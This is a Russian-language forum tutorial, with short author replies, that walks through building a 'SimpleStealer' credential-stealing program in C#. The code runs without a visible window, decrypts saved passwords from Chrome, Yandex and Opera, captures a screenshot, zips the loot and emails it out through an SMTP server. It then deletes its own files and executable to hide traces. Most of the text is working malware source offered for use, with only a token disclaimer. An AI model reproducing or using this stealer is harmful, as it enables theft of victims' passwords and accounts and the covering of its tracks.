Вторая часть : Скрытый контент. Для просмотра Вы должны быть зарегистрированным участником Спойлер: Дисклеймер Данная статья создана лишь в ознакомительных целях Для этого нам понадобится Microsoft Visual Studio. ACTION Для начала создадим проект : Файл - Создать - Проект. Выбираем консольное приложение. Скрытый контент. Для просмотра Вы должны быть зарегистрированным участником Чтобы нашу программу не было видно выполняем следующие действия : Проект - Свойства : SimpleStealer. В типе выходных данных ставим "Приложение Windows". Скрытый контент. Для просмотра Вы должны быть зарегистрированным участником Создадим папку, где будут лежать логи ( пишем это в Main'е ). Код: Directory.CreateDirectory(Path.GetTempPath() + "log"); Создаем класс Passwords ( Проект - Добавить класс ) Скрытый контент. Для просмотра Вы должны быть зарегистрированным участником В этот класс добавляем следующий код Код: static public IEnumerable<Tuple<string, string, string>> ReadPass(string dbPath) { if (File.Exists(Path.GetTempPath() + @"log\Login Data")) // Если файл по данному пути существует, то удаляем его { File.Delete(Path.GetTempPath() + @"log\Login Data"); } File.Copy(dbPath, Path.GetTempPath() + @"log\Login Data"); // копируем файл с паролями для того, чтобы не закрывать браузер dbPath = Path.GetTempPath() + @"log\Login Data"; var connectionString = "Data Source=" + dbPath + ";pooling=false"; using (var conn = new System.Data.SQLite.SQLiteConnection(connectionString)) using (var cmd = conn.CreateCommand()) { cmd.CommandText = "SELECT password_value,username_value,origin_url FROM logins"; conn.Open(); using (var reader = cmd.ExecuteReader()) { while (reader.Read()) { var encryptedData = (byte[])reader[0]; var decodedData = System.Security.Cryptography.ProtectedData.Unprotect(encryptedData, null, System.Security.Cryptography.DataProtectionScope.CurrentUser); // расшифровка паролей var plainText = Encoding.ASCII.GetString(decodedData); yield return Tuple.Create(reader.GetString(2), reader.GetString(1), plainText); } } conn.Close(); } } Далее : Проект - Добавить ссылку. Ищем System.Security Скрытый контент. Для просмотра Вы должны быть зарегистрированным участником Следующий шаг : Проект - Управление пакетами Nuget. Вбиваем в поиск "sqlite" и устанавливаем пакет Скрытый контент. Для просмотра Вы должны быть зарегистрированным участником Теперь переходим обратно в Program.cs и вставляем следующий код Код: string[] browser_paths = { Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + @"\Google\Chrome\User Data\Default\Login Data", Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + @"\Yandex\YandexBrowser\User Data\Default\Login Data", Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + @"\Opera Software\Opera Stable\Login Data" }; string content = ""; foreach (string p in browser_paths) //идем по папкам { var pas = Passwords.ReadPass(p); if (File.Exists(p)) // если файл с паролями существует, то выполняем следующие действия { foreach (var item in pas) { if ((item.Item2.Length > 0) && (item.Item2.Length > 0)) // если значения логина и пароля не пустые, то заносим их в переменную { content += item.Item1 + " | " + item.Item2 + " : " + item.Item3 + "\r\n"; content += "==================\r\n"; } } } } if (File.Exists(Path.GetTempPath() + @"log\Login Data")) { File.Delete(Path.GetTempPath() + @"log\Login Data"); } File.WriteAllText(Path.GetTempPath() + @"log\Passwords.txt", content); // записываем пароли в файл Я выбрал три самых популярных на мой взгляд браузера : хром, яндекс и опера. Компилим, в проводнике вбиваем %TEMP% и ищем папку "log" и наблюдаем следующий результат. Скрытый контент. Для просмотра Вы должны быть зарегистрированным участником В качестве бонуса покажу вам как сделать скриншот экрана. Код: var bounds = Screen.GetBounds(new Point(0, 0)); var bmp = new Bitmap(bounds.Width, bounds.Height); using (var g = Graphics.FromImage(bmp)) g.CopyFromScreen(0, 0, 0, 0, bmp.Size); bmp.Save(Path.GetTempPath() + @"log\screenshot.bmp"); Для того, чтобы всё это работало выполняем следующие действия : Проект - Добавить ссылку и ищем System.Drawing и System.Windows.Forms. Для того, чтобы заархивировать папку вставляем следующий код Код: ZipFile.CreateFromDirectory(Path.GetTempPath() + "log", Path.GetTempPath() + "log.zip"); Для того, чтобы он работал необходимо добавить ссылку на System.IO.Compression.FileSystem Теперь пришло время сделать отправку на почту. Создаем новый класс MailSend и вставляем в него следующий код. Код: public static void Send() { MailAddress from = new MailAddress("Адрес почты, с которого мы отправим письмо", "Имя (необязательно)"); MailAddress to = new MailAddress("Куда отправить"); MailMessage m = new MailMessage(from, to); m.Subject = "Пришли пароли"; m.Body = "<h2>Изи пароли</h2>"; m.IsBodyHtml = true; m.Attachments.Add(new Attachment(Path.GetTempPath() + "log.zip")); SmtpClient smtp = new SmtpClient("smtp.rambler.ru", 587); smtp.Credentials = new NetworkCredential("Адрес почты, с которого мы отправим письмо", "Пароль от почты"); smtp.EnableSsl = true; smtp.Send(m); } Я отправлял от адреса почты, который зареган в рамблере, на почту яндекса. Если вы будете отправлять, например, с яндекса, то "smtp.rambler.ru" надо поменять на "smtp.yandex.ru" ( порт тоже может измениться поэтому гуглите : "smtp yandex port"). Скрытый контент. Для просмотра Вы должны быть зарегистрированным участником Добавляем в Main этот код Код: MailSend.Send(); Скрываем после себя следы. Код: Directory.Delete(Path.GetTempPath() + "log", true); ProcessStartInfo Info = new ProcessStartInfo(); Info.Arguments = "/C choice /C Y /N /D Y /T 3 & Del " + Application.ExecutablePath; Info.WindowStyle = ProcessWindowStyle.Hidden; Info.CreateNoWindow = true; Info.FileName = "cmd.exe"; Process.Start(Info); Для того, чтобы всё это работало, нужно добавить в начало Program.cs Код: using System; using System.IO; using System.Windows.Forms; using System.Drawing; using System.IO.Compression; using System.Diagnostics; using System.Threading; Вот это добавить в начало Passwords.cs Код: using System; using System.Collections.Generic; using System.Text; using System.IO; А вот это добавить в MailSend.cs Код: using System.Net; using System.Net.Mail; using System.IO; Все готово, запускаем программу и ждем, когда к нам на почту придет письмо. Скрытый контент. Для просмотра Вы должны быть зарегистрированным участником Видим, что у нас письмо появилось в спаме. Чтобы этого избежать, можно просто добавить в контакты почту, с которой мы отправляем логи. Скрытый контент. Для просмотра Вы должны быть зарегистрированным участником Стиллер готов. Спасибо за внимание тем, кто дочитал до конца Если эта статья понравится людям, то напишу вторую часть. Также если будут вопросы, то пишите.
Тут вообще-то тема немного другая, но зачем писать малварь на питоне ? Я знаю поверхностно питон ( основной синтаксис ), можешь в лс отписать, что за проблема, посмотрим.
Кстати, забыл сказать, что в почте, с которой вы отправляете письмо нужно разрешить работу почтовым программам. Иначе письмо не придет ( в яндексе вроде не надо, но в рамблере нужно. И в гугле тоже вроде нужно )
Следующая часть точно выйдет, в ней я исправлю удаление файла log.zip и добавлю несколько интересных функций